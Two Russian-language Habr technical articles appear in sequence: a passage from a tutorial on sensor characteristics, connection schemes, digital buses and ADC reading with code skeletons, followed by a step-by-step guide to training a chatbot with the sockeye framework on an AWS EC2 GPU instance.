* Цифровые датчики, информация с которых снимается с помощью различных цифровых интерфейсов. Как правило, информация доступна непосредственно в формате измеряемой величины и не требует проведения дополнительных преобразований.
* Дискретные датчики, имеющие только два варианта сигнала на выходе канала датчика — лог 0. и лог. 1. Примером такого датчика является конечный выключатель, имеющий состояния замкнут и незамкнут. Дискретный датчик может иметь несколько выходных каналов, каждый из которых находится в одном из двух состояний. Например, 12-разрядный абсолютный датчик положения.
* Импульсные датчики, формирующие импульсы выходного сигнала, амплитуда или длительность которых зависит от измеряемой величины. Например, инкрементальный датчик положения формирует на выходе код Грея. При этом, чем выше частота вращения вала датчика, тем большая частота сигнала будет на выходе, что позволит с высокой точностью определить частоту вращения вала.
#### **2 Характеристики датчиков**
Большинство датчиков имеют сложную процедуру преобразования измеряемой величины в электрический сигнал. Например, в тензорезисторном датчике давления измеряемая величина воздействует на чувствительный элемент, изменяя его сопротивление. После подачи сигнала возбуждения, падение напряжения на резисторе позволит косвенно определить его сопротивление и, на основании зависимости сопротивления от давления, вычислить измеряемую величину.
Для разработчика датчик представляет собой черный ящик с известными соотношениями сигналов между входами и выходами.
##### **2.1 Диапазон измеряемых и выходных значений**
**Диапазон измеряемых значений** показывает, какое максимальное значение входного сигнала датчик может преобразовать в выходной электрический сигнал, не выходя за пределы установленных погрешностей. Данные цифры всегда приводятся в спецификации на датчик, одновременно отображая возможную точность измерений в том или иной диапазоне.
Следует понимать, что одни датчики при подаче входного сигнала больше максимальных значений просто войдут в насыщение и будут возвращать неверные данные. Другие же датчики (например датчики температуры) могут выйти из строя. В дальнейшем, для каждого типа датчика будут даны свои рекомендации.
**Диапазон выходных значений датчика** — это минимальное и максимальное напряжение, которое датчик способен выдать при минимальном и максимальном внешнем воздействии. Так как мы рассматриваем датчики, преобразующие входной сигнал в электрический, то диапазон выходных значений датчика будет определяться в вырабатываемом им напряжении, или пропускаемом через него токе. Одной из наших задач при подключении датчика будет согласование выходного диапазона датчика со входным диапазоном измерительного тракта.
##### **2.2 Передаточная функция — статические и динамические характеристики**
При работе с датчиком требуется знать соотношение уровней сигналов на входе и выходе. Отношение Wд(p) = Y(p)/X(p) в операторном виде является передаточной функцией датчика и однозначно определяет характеристики датчика в статике и динамике.
Уравнение Y(p) = Wд(p)\*X(p) в реальной плоскости, т.е. функция Y = f(x) будет являться статической характеристикой
Статическая характеристика может быть линейно и будет определяться как:
 (1)
Где a – наклон прямой, определяемый чувствительностью датчика и b – постоянная составляющая(т.е. уровень выходного сигнала при отсутствии сигнала на входе)
*Рисунок 2. Линейная зависимость*
Помимо датчиков с линейной зависимостью, могут быть датчики с логарифмической зависимостью, с уравнением вида
 (2)
Экспоненциальной:
 (3)
Или степенной:
 (4)
Где *k* – постоянное число.
Существуют датчики с более сложной характеристикой. Но на то есть документация.
Однако, передаточная функция раскрывает и то, какими свойствами обладает датчик в динамике, т. е. насколько быстро и точно отрабатывает датчик выходной сигнал при быстром изменении входной величины. Практически каждый реальный датчик имеет в себе накопитель энергии — конденсатор, массу и т. п. Рассмотрим поведение датчика, динамические характеристики которого описываются уравнением первого порядка:
 (5)
В теории автоматического управления существует два тестовых входных сигнала. Это единичная функция — подача в нулевой момент времени единицы, и дельта-функция — подача сигнала бесконечной амплитуды и бесконечно малой длительности.
*Рисунок 3. Единичная и дельта функции*
Безынерционный, то бишь идеальный датчик в точности повторит форму входного сигнала. Реальный датчик, описанный формулой (5) выдаст следующую реакцию:
*Рисунок 4. Реакция апериодического звена первого порядка на тестовые сигналы*
Следует отметить, что значение на выходе датчика будет соответствовать поданному на входе только после завершения переходного процесса, которое будет длиться 3-4*τ*, где *τ* — постоянная времени нашего звена. При *t=1τ*, выходное значение достигнет
Нетрудно посчитать, что при *t = 2τ* выходное значение составит 86%, а при *t = 3τ* — 95% и переходный процесс будет считаться завершенным.
Таким образом нужно понимать, что, например, тот же датчик температуры будет реагировать на изменение температуры окружающей среды с некоторым запаздыванием из-за того, что между датчиком и окружающей средой имеется корпус, который должен поглотить тепло и нагреться. На это требуется время.
Разумеется, инерционные датчики могут описываться более сложными уравнениями, например представляться апериодическими звеньями второго порядка, иметь задержку реакции и т. д. Особенности поведения таких звеньев подробно описаны в [1].
##### **2.3 Точность, нелинейность**
Одной из важных характеристик датчика является его **точность** в диапазоне измеряемых величин. Выходной сигнал датчика соответствует значению измеряемой величины с некоторой достоверностью, называемой погрешностью.
Например, датчик температуры имеет точность ±2 градуса. Это означает, что при реальной температуре измеряемого объекта в 100 градусов, допустимые показания данного датчика температуры находятся в пределах 98 – 102 градусов.
Погрешность датчика бывает разной.
Различают аддитивную и мультипликативную погрешность.
Аддитивная погрешность постоянна во всем диапазоне измерений.
*Рисунок 5. Аддитивная погрешность*
Мультипликативная линейно зависит от уровня измеряемой величины:
*Рисунок 6. Мультипликативная погрешность*
Кроме того, существует нелинейность датчика в измеряемом диапазоне. В зависимости от текущего диапазона измерения, коэффициент наклона передаточной функции изменяется в некоторых пределах. При этом, в спецификации указываются либо кривые изменения точности по диапазону, либо худшие показатели нелинейности в том или ином диапазоне.
*Рисунок 7. нелинейность датчика*
Кроме того, некоторые датчики имеют эффект гистерезиса, когда для одного и того же входного сигнала после возрастания и убывания значения выходного сигнала получаются разными. Типичной причиной гистерезиса является трение и структурные изменения материалов. Наибольшему эффекту гистерезиса подвержены датчики на основе ферромагнитных материалов.
Для повышения точности и компенсации аддитивной и мультипликативной погрешности может производиться процесс калибровки датчика. Например, для линейного датчика необходимо с заведомо известной точностью определить показания в двух точках, находящиеся на разных концах рабочего диапазона. Для некоторых датчиков данные калибровки могут приводиться в паспорте на каждый конкретный экземпляр. Для проведения процедуры калибровки можно воспользоваться более точной аппаратурой, можно воспользоваться эталоном (например черное тело, эталонный килограмм и т. п.). Точность после калибровки естественно не сможет превышать точность эталона.
##### **2.4 Чувствительность датчика, разрешающая способность и мертвая зона**
**Мертвая зона** датчика — это нечувствительность датчика в определенном диапазоне входных сигналов. В пределах этой зоны выходные показания некорректны.
Для примера на рисунке 2 показания выходной величины для всех значений от 0 до x0 не определены. Такой особенностью грешат, например, некоторые датчики тока, имеющие нулевое напряжение на выходе при токах меньших, к примеру, 10мА.
Во всем остальном диапазоне имеет место определенная **чувствительность** датчика, т. е. насколько силен прирост выходного сигнала на изменение входного сигнала. т. е. чувствительность определяется следующей формулой:
Для линейного датчика, чувствительность будет постоянной на всем измеряемом диапазоне.
**Разрешающая способность** показывает, насколько малое изменение измеряемой величины способно вызвать изменение выходного сигнала. Например, какой-нибудь инкрементальный датчик положения имеет разрешающую способность в 1 градус. Аналоговые датчики обладают бесконечно большим разрешением, так как в их выходном сигнале нельзя определить отдельных ступеней его изменения.
#### **3 Способ подключения датчиков**
В зависимости от типа датчика, подключается он к измерительному тракту по-разному.
##### **Подключение пассивного датчика**
Так как пассивный датчик без посторонней помощи в ответ на внешнее воздействие самостоятельно вырабатывает для нас электрический сигнал, нам этот сигнал нужно считать.
В зависимости от того, будет ли наш датчик источником тока или источником напряжения, способ подключения будет отличаться.
К примеру, термопара является источником напряжения — напряжение на выходе не зависит от величины выходного тока (в разумных пределах конечно). Наша задача — измерить вырабатываемую ЭДС. Так как измерительный тракт будет иметь некоторое конечное сопротивление, схема подключения будет следующей:
*Рисунок 8. Подключение источника напряжения к АЦП*
Если *Radc* будет много больше внутреннего сопротивления *r*, тогда падение напряжения на нем будет стремиться к нулю и напряжение на входе АЦП будет стремиться к значению ЭДС.
Во второй части я подробно рассмотрю термопару, как один из самых точных и быстродействующих датчиков.
Другой случай, если наш датчик является источником тока, т.е генерируемое им напряжение зависит от пропускаемого через нагрузку тока.
Подключение датчика аналогично:
*Рисунок 9. Подключение источника тока к АЦП*
Однако, сопротивление нагрузки источника тока теперь должно стремиться к нулю. Для этого, датчик шунтируется резистором необходимого сопротивления, превращая тем самым, источник тока в источник напряжения:
*Рисунок 10. Правильное подключение источника тока к АЦП*
Сопротивление резистора *Rш* рассчитывается как частное от деления максимального напряжения, подаваемого на вход АЦП на максимальный ток, который способен выдать датчик
Наиболее яркий представить такого датчика — датчик тока.
> ВНИМАНИЕ: датчики, имеющие схему замещения в виде источника тока, следует обязательно шунтировать сопротивлением и не допускать обрыва цепи шунтирования при наличии сколь угодно малого входного воздействия. В противном случае, тот же датчик тока генерирует на свободных клеммах вторичной обмотки напряжение в киловольты до пробоя схемы измерения или самого датчика. Современные датчики тока тестируют на напряжении 1кВ и более, так что получить на выходе 2-3кВ, а еще попасть в них пальцем — не самая сложная задача.
##### **Подключение активного датчика**
Рассмотрим активные датчики, представляющие собой переменное сопротивление. В частности это терморезисторы, тензорезисторы и прочие подобные датчики. Чтобы сопротивление датчика измерить, его необходимо подключить к источнику тока и определить падение напряжения на нем:
*Рисунок 11. Подключение датчика к нерегулируемому источнику тока*
Источник тока вырабатывает ток постоянного значения известной величины. Тогда, выходное напряжение будет определяться по формуле:
 (7)
Например, рассчитаем выходное значение напряжения при токе источника 10мА если наш датчик изменяет сопротивление от 0,1кОм до 1 кОм. Тогда максимальное выходное напряжение будет равно
(8)
Что вполне соответствует требуемому значению напряжения для аналоговой системы управления на базе операционных усилителей.
Где взять источник тока? Бывает так что он встроен в сам микроконтроллер. Например в микроконтроллерах ADuCM360/361 есть два встроенных источника тока 0,01-1мА. Правда там у них диагностическая задача — подавая малый ток через цепи датчика можно убедить в его наличии и исправности.
Конечно, нам привычнее использовать источник напряжения с делителем:
*Рисунок 12. Подключение датчика к источнику напряжения с делителем*
Если говорить на чистоту, то цепочка U-R1 образует тот же самый источник тока, только его параметры зависят от нагрузки — *Rд*. Напряжение на выходе будет определяться по следующей формуле:
(9)
И тут всплывает главная проблема такого метода — от сопротивления нашего датчика в знаменателе не избавишься никак и показания становятся нелинейными, в отличие, кстати, от первого варианта.
Встает вопрос — каким должно быть сопротивление *R1*? Оно должно обеспечивать максимальный диапазон выходного напряжения. т. е. при известных значениях минимального и максимального сопротивления датчика *Rд1* и *Rд2*, *abs(Uвых1 — Uвых2) -->max*
С другой стороны, максимальное выходное напряжение у нас ограничено входными цепями измерительного устройства. Например, на вход микроконтроллера с питанием 5В необходимо подать напряжение, к примеру, не более 2,5В. Отмечу, что если максимально возможное напряжение, подаваемое на вход АЦП меньше напряжения питания, то мы сможем его туда подать.
Если наш датчик изменяет сопротивление от 0,1кОм до 1 кОм, то примем сопротивление резистора R1 равное верхней границе сопротивления датчика. Тогда Uвых сможет изменяться в пределах от 1/11Uвх до 1/2Uвх. В абсолютных цифрах данного примера — от 0,45 до 2,5В. И такими значениями мы используем (2,5-0,45)/2,5 = 82% всего диапазона АЦП, что довольно неплохо.
Еще датчик можно воткнуть в состав измерительного моста и измерять разницу напряжений в его плечах:
*Рисунок 13. Датчик в составе измерительного моста*
В этом случае мы работаем с дифференциальным АЦП, измеряя разность потенциалов *Uab*. Она будет равна:
(10)
Причем сопротивление резистора *R1* может быть таким, чтобы *Uab* могло быть и отрицательным. Существуют датчики, внутренняя схема которых уже представляет собой балансный мост с необходимыми характеристиками. Позднее я рассмотрю примеры таких датчиков.
Существуют более удобные в использовании датчики. Они выдают необходимый аналоговый сигнал и без танцев с резисторами. Например, аналоговый датчик влажности HIH-4010-004 — трехвыводной корпус, 5В питание, линейный выход. Подключается это чудо так:
*Рисунок 14. Подключение датчика влажности HIH-4010-004*
Два провода к источнику опорного напряжения, выход — к АЦП микроконтроллера.
##### **Подключение цифровых датчиков по стандарту 1-Wire**
1-Wire это двунаправленная низкоскоростная цифровая шина передачи данных, требующая всего два провода — информационный провод и землю. Шина достаточно проста в использовании, поддерживает паразитное питание устройств от линии и позволяет подключать параллельно множество однотипных устройств вроде датчиков температуры(всеми любимыми DS18B20), или микросхем идентификации (iButton).
Паразитное питание организовывается следующим образом:
*Рисунок 15. Паразитное питание устройств шины 1-Wire*
А это обычное активное питание устройства, когда до источника рукой подать.
*Рисунок 16. Питание устройства 1-Wire от внешнего источника*
Количество подключенных параллельно датчиков фактически ограничено лишь параметрами линии.
Возможно горячее подключение и идентификация на ходу. Причем вычислительная сложность алгоритма идентификации *O(log n)*
Более подробно с этим протоколом мы поработаем во второй части.
А пока, про сам протокол можно почитать по классической ссылке: <http://datasheets.maximintegrated.com/en/ds/DS18B20.pdf>
##### **Подключение цифровых датчиков по стандарту I2C(Twi)/SMBus**
Если 1-Wire требовала один провод данных, то эта шина, исходя из названия Two-Wire Bus — два.
Один из проводов — SCL будет тактирующим, по второму — SDA, полудуплексом будут передаваться данные.
Шина с открытым коллектором, следовательно обе линии необходимо подтянуть к питанию. Датчик будет подключаться следующим образом:
*Рисунок 17. Подключение датчиков по I2C*
Общее количество устройств, которые можно подключить к шине I2C — 112 устройств при 7-разрядной адресации. Каждому устройству на деле выделяется два последовательных адреса, младшим битом выставляется режим — на чтение или запись. Есть строгое требование по емкости шины — не более 400пФ.
Общеупотребительные значения скоростей — 100 кбит/сек и 10 кбит/сек, хотя последние стандарты допускают и скоростные режимы в 400 кбит/сек и 3.4мбит/сек.
Шина может работать как с несменяемым мастером, там и с передачей флага.
Огромное количество информации по протоколу можно найти по этой ссылке: <http://www.esacademy.com/en/library/technical-articles-and-documents/miscellaneous/i2c-bus.html>
##### **Подключение цифровых датчиков по стандарту SPI**
Требует как минимум три провода, работает в режиме полного дуплекса — т.е. организует одновременную передачу данных в обе стороны.
Линии связи:
* CLK — линия тактового сигнала.
* MOSI — выход мастера, вход слейва
* MISO — вход мастера, выход слейва
* CS — выбор чипа (опционально).
Одно из устройств выбирается мастером. Оно будет отвечать за тактирование шины. Подключение осуществляется перекрестным образом:
*Рисунок 18. подключение по SPI и суть передачи*
Каждое устройство в цепи содержит свой сдвиговый регистр данных. С помощью сигналов тактирования, спустя 8 тактов содержимое регистров меняется местами, тем самым, осуществляя обмен данными.
SPI — Самый скоростной из представленных интерфейс передачи данных. В зависимости от максимально-возможных частот тактирования скорость передачи данных может составлять 20, 40, 75 мбит/сек и выше.
Шина SPI позволяет подключать устройства параллельно, но здесь возникает проблема — каждому устройству требуется своя линия CS до процессора. Это ограничивает общее количество устройств на одном интерфейсе.
Главная сложность в настройке SPI — это установить полярность сигнала тактирования. Серьезно. Настроить SPI не просто, а очень просто.
Коротко и ясно об SPI с описанием периферийных модулей SPI для AVR и MSP430 можно прочитать здесь <http://www.gaw.ru/html.cgi/txt/interface/spi/index.htm>
#### **4 Снятие показаний с датчиков**
Пора бы уже прочесть с наших датчиков хоть какую-то информацию.
В зависимости от способа подключения датчика и его типа возможны различные способы снятия показаний. Следует отметить, что некоторые датчики, например цифровые датчики, или датчики состава газа, требуют предварительного запуска режима измерения, который может длиться некоторое время.
Таким образом, процесс измерения состоит из двух тактов — такт измерения данных и такт снятия данных. При организации программы можно пойти по одному из следующих вариантов:
*Рисунок 19. Процесс считывания показаний с датчика*
Рассмотрим каждый вариант по отдельности и набросаем скелеты:
**Вариант 1.** запустили режим измерений, подождали, считали.
Вариант притягателен своей простотой, однако за ней кроется проблема — во время ожидания выполнения измерений микроконтроллер нагло простаивает, не выполняя задач. В большинстве систем автоматики такой режим — непозволительная роскошь.
В коде это будет выглядеть следующим образом:
```
Sensor.Start();//запустить процесс измерений
delay(MINIMAL_SENSOR_DELAY_TIME);//ожидаем завершения процесса
int var = Sensor.Read();//считываем данные
```
**Вариант 2**. запустили режим измерений, вернулись к другим задачам, по прошествии времени сработало прерывание, считали данные.
Один из лучших вариантов. Но наиболее сложный:
```
void Setup(){
TimerIsr.Setup(MINIMAL_SENSOR_DELAY_TIME);//настраиваем прерывание по таймеру с необходимой периодичностью
int mode = START;//переменная состояния
Sensor.Start();//запускаем процесс измерений в первый раз
}
TimerIsr.Vector(){//обработчик прерывания по таймеру
if (mode == START{
mode = READ;
var = Sensor.Read();//если датчик был в режиме измерения, считываем данные
}
else
{
mode = START;
Sensor.Start();///если датчик был в режиме считывания данных, запускаем новый цикл измерений
}
}
```
Выглядит неплохо. позволяет варьировать время между циклами измерений и циклами считывания. например, датчик состава газов должен успеть остыть после предыдущих измерений, либо успеть нагреться во время измерений. Это разные периоды времени.
**Вариант 3:** Считали данные, запустили новый виток.
Если датчик позволяет после считывания данных запускать новый цикл измерений, то почему бы и нет — сделаем все наоборот.
```
void Setup(){
TimerIsr.Setup(MINIMAL_SENSOR_DELAY_TIME);//настраиваем прерывание по таймеру с необходимой периодичностью
Sensor.Start();//запускаем процесс измерений в первый раз
}
TimerIsr.Vector(){//обработчик прерывания по таймеру
var = Sensor.Read();//считываем данные
Sensor.Start();///запускаем новый цикл измерений
```
Отличный способ сэкономить время. и знаете что — такой метод отлично работает и без прерываний. Цифровые датчики хранят вычисленное значение вплоть до отключения питания.А с учетом того, что считывать сигналы с датчика влажности ввиду его инерционности в 15 секунд часто и не требуется, можно и вовсе сделать так:
```
void Setup(){
Sensor.Start();//запускаем процесс измерений в первый раз
while(1){
//много всякой остальной рутины
var = Sensor.Read();//считываем данные
Sensor.Start();///запускаем новый цикл измерений
}
}
```
Может быть и такой вариант, что наш датчик самостоятельно запускает новый цикл измерений и потом с помощью внешнего прерывания он сообщает о завершении измерений. Например, АЦП можно настроить на автоматический режим считывания данных с частотой N Гц. С одной стороны, в обработчике прерывания будет достаточно реализовать только процесс считывания новых данных. С другой стороны, можно воспользоваться прерыванием АЦП с режимом Прямого Доступа к Памяти — ПДП(DMA). В этом случае по сигналу прерывания периферийный модуль АЦП на аппаратном уровне самостоятельно скопирует данные в определенную ячейку памяти в ОЗУ, тем самым обеспечивая максимальную скорость обработки данных и минимальное воздействие на рабочую программу (не надо уходить в прерывание, вызывать обработчик и проч.).
Но использование DMA сильно выходит за рамки данного цикла.
К сожалению, первый метод поголовно используется в библиотеках и примерах для Arduino, не позволяет этой платформе правильно использовать ресурсы микроконтроллера. Зато он проще в написании и отладке.
##### **4.1 Работа с АЦП**
Имея дело с аналоговыми датчиками имеем дело с АЦП. В данном случае рассматривается АЦП встроенный в микроконтроллер. Так как АЦП является по сути тем же датчиком — преобразует электрический сигнал в информационный — для него справедливо все что описано выше в разделе 2. Главными характеристиками АЦП для нас являются его эффективная разрядность, чувствительность, опорное напряжение и быстродействие. При этом, выходным значением АЦП преобразования будет некоторое число в выходном регистре, которое необходимо перевести в абсолютное значение в единицах измеряемой величины. В дальнейшем, для отдельных датчиков будут рассмотрены примеры таких расчетов.
**4.1.1 Опорное напряжение**
Опорное напряжение АЦП — это напряжение, которому будет соответствовать максимальное выходное значение АЦП. Опорное напряжение подается от источника напряжения, как встроенного в микроконтроллер, так и внешнего. От точности этого источника зависит точность показаний АЦП. Типовое опорное напряжение встроенного источника равняется напряжению питания или половине напряжения питания микроконтроллера. Могут быть и другие значения.
Например, таблица возможных значений опорного напряжения для микроконтроллера Atmega1280:
*Рисунок 20. Выбор опорного напряжения для АЦП микроконтроллера Atmega1280*
**4.1.2 Разрядность АЦП и чувствительность**
Разрядность АЦП определяет максимальные и минимальные значения в выходном регистре при минимальном и максимальном входном воздействии электрического сигнала.
Следует отметить, что максимальная разрядность АЦП может не соответствовать его эффективной разрядности.
Часть младших разрядов может быть отдана на шум. Обратимся к датащиту на микроконтроллер ADuCM360, имеющему 24-разрядный АЦП с эффективной разрядностью 14 бит:
*Рисунок 21. Назначение битов регистра данных АЦП*
Как видно из рисунка, в 32-разрядном регистре, часть выделяется на знак, часть на нули и часть на шум. И лишь 14 разрядов содержат данные, имеющие указанную точность. В любом случае, эти данные всегда указываются в документации.
От эффективной разрядности АЦП зависит его чувствительность. Чем больше промежуточных ступеней выходного напряжения, тем выше будет чувствительность.
Допустим, опорное напряжение АЦП *Uоп*. Тогда, N-разрядный АЦП, имея 2N возможных значений, имеет чувствительность
(11)
Таким образом, для 12-разрядного АЦП и опорного напряжения в 3,3В его чувствительность составит 3,3/4096 = 0,8мВ
Так как наш датчик также обладает определенной чувствительностью и точностью, будет неплохо, если АЦП будет обладать лучшими показателями
**4.1.3 Быстродействие АЦП**
Быстродействие АЦП определяет, насколько быстро считываются показания. Для АЦП последовательного приближения требуется определенное количество тактов, чтобы оцифровать уровень входного напряжения. Чем больше разрядность, тем требуется больше времени, соответственно, если к концу измерения уровень сигнала успевает измениться, это отразится на точности измерения.
Быстродействие АЦП измеряется в количестве семплов данных в секунду. Оно определяется как частота сигнала тактирования АЦП, деленная на требуемое для измерения число таков. Например, имея частоту тактирования АЦП в 1МГц и 13 тактов для снятия показаний, быстродействие АЦП будет равно 77 килосемплов в секунду. Для каждого варианта разрядности возможно рассчитать свое быстродействие. В технической документации обычно указывается максимально-возможная частота тактирования АЦП и его максимальное быстродействие при той или иной разрядности.
##### **4.2 Цифровые датчики**
Главное преимущество цифровых датчиков перед аналоговыми — они предоставляют информацию об измеряемой величие в готовом виде. Цифровой датчик влажности вернет абсолютное значение влажности в процентах, цифровой датчик температуры — значение температуры в градусах.
Управление датчиком осуществляется с помощью имеющихся в нем регистром в форме вопрос-ответ. Вопросы следующие:
* Запиши в регистр A значение B
* Верни значение, хранящееся в регистре C
В ответ датчик, соответственно, либо записывает необходимые данные в регистр, производя настройку параметров или запуск какого-то режима, либо передает контроллеру измеренные данные в готовом виде.
На этом я закончу общий материал. В следующей части мы рассмотрим датчики HVAC с примерами.
После датчиков пойдет рассмотрение исполнительных устройств — там довольно много интересного с точки значения теории автоматического управления, а потом доберемся и до синтеза и оптимизации регулятора всего этого безобразия.
UPD: Выражаю благодарность [amartology](http://geektimes.ru/users/amartology/), [Arastas](http://geektimes.ru/users/arastas/) и [Stross](http://geektimes.ru/users/stross/) за справедливые замечания по статье. Добавил материал по 2 и 4 разделам и пояснил некоторые спорные моменты.
#### **Список полезной литературы:**
1. Бессекерский В.А., Попов Е.П. Теория систем автоматического управления / В.А. Бесссекерский, Е.П. Попов — Изд. 4-е, перераб. И доп. — Спб., Профессия, 2007. — 752с.
2. Датчики: Справочное пособие / В.М. Шарапов, Е.С. Полищук, Н.Д. Кошевой, Г.Г. Ишанин, И.Г. Минаев, А.С. Совлуков. — Москва: Техносфера, 2012. — 624 с.
3. Г. Виглеб. Датчики. Устройство и применение. Москва. Издательство «Мир», 1989
4. Современные датчики. Справочник. ДЖ. ФРАЙДЕН Перевод с английского Ю. А. Заболотной под редакцией Е. Л. Свинцова ТЕХНОСФЕРА Москва Техносфера-2005
|
https://habr.com/ru/post/258967/
| null |
ru
| null |
# Создание chatbot-a с помощью sockeye (MXNet) на базе AWS EC2 и AWS DeepLearning AMI
 Недавно, команда AWSDeepLearning выпустила новый фреймворк — “sockeye”, цель которого является упрощение обучения seq2seq сетей. Забегая вперед — я даже не ожидал такой простоты. Так что решил написать простое, быстрое и самодостаточное руководство, которое не требует от читателя глубоких знаний в области нейронных сетей. Единственное, что все же требуется для успешного выполнения всех шагов, это иметь некоторый опыт работы с:
* AWS EC2;
* SSH;
* python;
Если все эти три вещи не вызывают проблем — прошу под кат.
*Перед тем как продолжить, хочу высказать особенную благодарность моим [патронам](https://www.patreon.com/b0noi), которые меня поддерживают.*
Как уже упомянул, намедни команда AWS DeepLearning выпустила новый фреймворк — “sockeye”. Позвольте мне привести цитату с официального сайта:
> … the Sockeye project, a sequence-to-sequence framework for Neural Machine Translation based on MXNet. It implements the well-known encoder-decoder architecture with attention.
Вольнвый перевод:
> Sockeye это фреймворк для обучения нейронных сетей машинному переводу, который базируется на известной архитектуре encoder-decoder.
Несмотря на то, что официально это framework разработан для тренировки сетей, для машинного перевода, технически он же может быть использован для тренировки более общего класса задач преобразования одной последовательности в другую(seq2seq). Я уже затрагивал тему того, почему машинные перевод и создание чата ботов, как две задачи, имеют очень много схожего и могут решаться схожими методами, в одной из [прошлых статей](https://habrahabr.ru/post/317732/). Так что не буду повторятся оставив возможность пытливым читателям пройти по ссылки, а тем временем я перейду к непосредственно созданию чат-бота.
Описание процесса
-----------------
В целом, процесс состоит из следующих шагов:
1. Поднять EC2 машину с GPU на базе DeepLearning AMI
2. Подготовить EC2 машину для тренировки
3. Начать обучение
4. Подождать
5. Profit
Поднимаем EC2 машину с GPU, на базе AWS DeepLearning AMI
--------------------------------------------------------
В данной статье мы будем использовать [AWS DeepLearning AMI](https://aws.amazon.com/amazon-ai/amis/), далее по тексту: DLAMI (кстати, если вы не знаете что такое AMI, то рекомендую ознакомится с официальной документацией вот [тут](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html)). Основные причины использования именно этого AMI:
* в него включены драйвера Nvidia CUDA (на момент написания статьи версия: 7.5);
* собранный с поддержкой GPU — MXNet;
* включает все(почти) утилиты что нам необходимы, например: git;
* может быть использован с, сюрприз-сюрприз, машинами в которых есть GPU.
Для того что бы быстро создать нужную нам машину из AMI, идем на [страницу DLAMI в AWS Marketplace](https://aws.amazon.com/marketplace/pp/B01M0AXXQB). Тут стоит обратить внимание на следующие вещи:
### 1. Версия AMI
На момент написания — «Jun 2017» была самая свежая версия, так что если хотите, что бы ваш процесс был консистентет с остальной частью этой стать — рекомендую выбрать именно его.
### 2. Регион для создания
Учитывайте что не все типы машин с GPU доступны во всех регионах. Собственно, даже если они формально доступны, то не всегда есть возможность их создать. Так, например, в 2016 во время NIPS конференции с ними было очень проблематично. Нам потребуется машина типа p2, плюс, и на момент написания статьи, DLAMI был доступен только в тех регионах, где этот самый тип был доступен:
### 3. Выбор типа инстанса
p2.xlarge — является самой дешёвой машинкой которая удовлетворяет нашим требованиям к памяти GPU (можете конечно попробовать и g2.2xlarge, но не говорите потом что вас не предупредили). На момент написания цена за него составляла ~0.9$ в час. Но лучше проверьте цену [на официальном сайте](https://aws.amazon.com/ec2/pricing/on-demand).
### 4. VPC
Если не в курсе что с этим делать — не трогайте.
### 5. Security group
Так же как и с VPC, не знаете — не трогайте. Однако, если хотите использовать существующую группу, то убедитесь что там открыт SSL.
### 6. Key pair
Позволю себе предположить что у читателя есть опыт работы с SSH и есть понимание того что это.
### 7. Жмем создать!
Собственно теперь можем создать машину и подключится к ней.
Подготовка к тренировке сети
----------------------------
Подключимся к ново созданной машине. Сразу после, самое время запустить screen. И не забудьте тот факт, что при подключении нужно использовать логин ubuntu:
Несколько замечаний по сему моменту:
* я сказал “screen” потому какDLAMI не содержит tmux из коробки!!! ага, грустно.
* если не знаете что такое screen или tmux — не проблема, можете просто продолжать чтение, все будет работать без проблем. Однако, лучше все же пойти и почитать о том, что это за звери такие: [tmux](https://en.wikipedia.org/wiki/Tmux)(мой выбор) и [screen](https://en.wikipedia.org/wiki/GNU_Screen).
### 1. устанавливаем sockeye
Первое что нам нужно, это установить sockeye. С DLAMI процесс установки очень простой, всего одна команда:
```
sudo pip3 install sockeye --no-deps
```
Важная чать тут то, что нужно использовать именно pip3, а не просто pip, так как по умолчанию pip из DLAMI использует Python 2, который в свою очередь не поддерживается в sockeye. Так же нет необходимости устанавливать какие либо зависимости ибо они все уже установлены.
### 2. Подготовка данных(диалогов) для обучения
Для тренировки, мы будем использовать “Cornell Movie Dialogs Corpus”(https://www.cs.cornell.edu/~cristian/Cornell\_Movie-Dialogs\_Corpus.html). Это, по факту огромный корпус диалогов из фильмов. Для обучения его нужно «приготовить», собственно я уже реализовал скрипт который готовит корпус и рассказывал детальнее о не ранее.
Ну а теперь давайте эти самые данные, для обучения, и подготовим:
```
# cd ~/src
src# git clone https://github.com/b0noI/dialog_converter.git
Cloning into ‘dialog_converter’…
remote: Counting objects: 59, done.
remote: Compressing objects: 100% (49/49), done.
remote: Total 59 (delta 33), reused 20 (delta 9), pack-reused 0
Unpacking objects: 100% (59/59), done.
Checking connectivity… done.
src# cd dialog_converter
dialog_converter git:(master)# git checkout sockeye_chatbot
Branch sockeye_chatbot set up to track remote branch sockeye_chatbot from origin.
Switched to a new branch 'sockeye_chatbot'
dialog_converter git:(sockeye_chatbot)# python converter.py
dialog_converter git:(sockeye_chatbot)# ls
LICENSE README.md converter.py movie_lines.txt train.a train.b test.a test.b
```
Пару вещей на которые стоит обратить внимание:
* папка src уже существует, нет необходимости ее создавать;
* обратите внимание на бранч: “sockeye\_chatbot”, в нем я храню код который консистентен с этой статьей. Используйте master на ваш страх и риск.
Теперь давайте создадим папку где будем проводить обучение и скопируем туда все данные:
```
# cd ~
# mkdir training
# cd training
training# cp ~/src/dialog_converter/train.* .
training# cp ~/src/dialog_converter/test.* .
```
Ну все, мы готовы начать обучение…
Обучение
--------
С sockeye процесс обучения очень прост — нужно лишь запустить одну единственную команду:
```
python3 -m sockeye.train --source train.a --target train.b --validation-source train.a --validation-target train.b --output model
```
*Знаю-знаю, НИКОГДА не используйте один и те же данные для обучения и валидации. Однако мой скрипт на данный момент не совсем корректно разбивает данные на две группы и посему более лучшие результаты (я о субъективном оценивании) получаются, как не странно, без разбивки.*
Если читали [прошлую статью](https://habrahabr.ru/post/317732/) то могли заметить что sockeye пытается за вас найти подходящую конфигурацию для тренировки, а именно:
* размер словаря;
* параметры сети;
* и т.д.…
Это довольно неплохо, так как более близкая к оптимуму конфигурация может привести к более быстрой (читай дешёвой) тренировке. Хотя еще нужно посмотреть как именно sockeye производит поиск параметров и насколько много ресурсов тратится на этот процесс.
Также sockeye определит когда именно процесс обучения стоит завершить. Это произойдёт если качество модели не улучшилось на данных для валидации за последние 8 контрольных точек.
Ждем результат
--------------
Пока ждете можно посмотреть как MXNet пожёвывает ресурсы GPU во время обучения. Для этого нужно запустить вот эту команду в новом окне:
```
watch -n 0.5 nvidia-smi
```
Увидите что-то вроде:
К слову, технически, что бы начтаь общение с ботом нужно лишь дождаться хотя бы первой созданной контрольной точки. Когда это произойдет вы увидите что-то вроде такого:
Теперь можно начать общение:
Чатимся...
----------
Этот процесс не требует остановки обучения, нужно лишь открыть новое окно (ну или новое SSH соединение) перейти в ту же папку где происходит обучение и выполнить команду:
```
python3 -m sockeye.translate --models model --use-cpu --checkpoints 0005
```
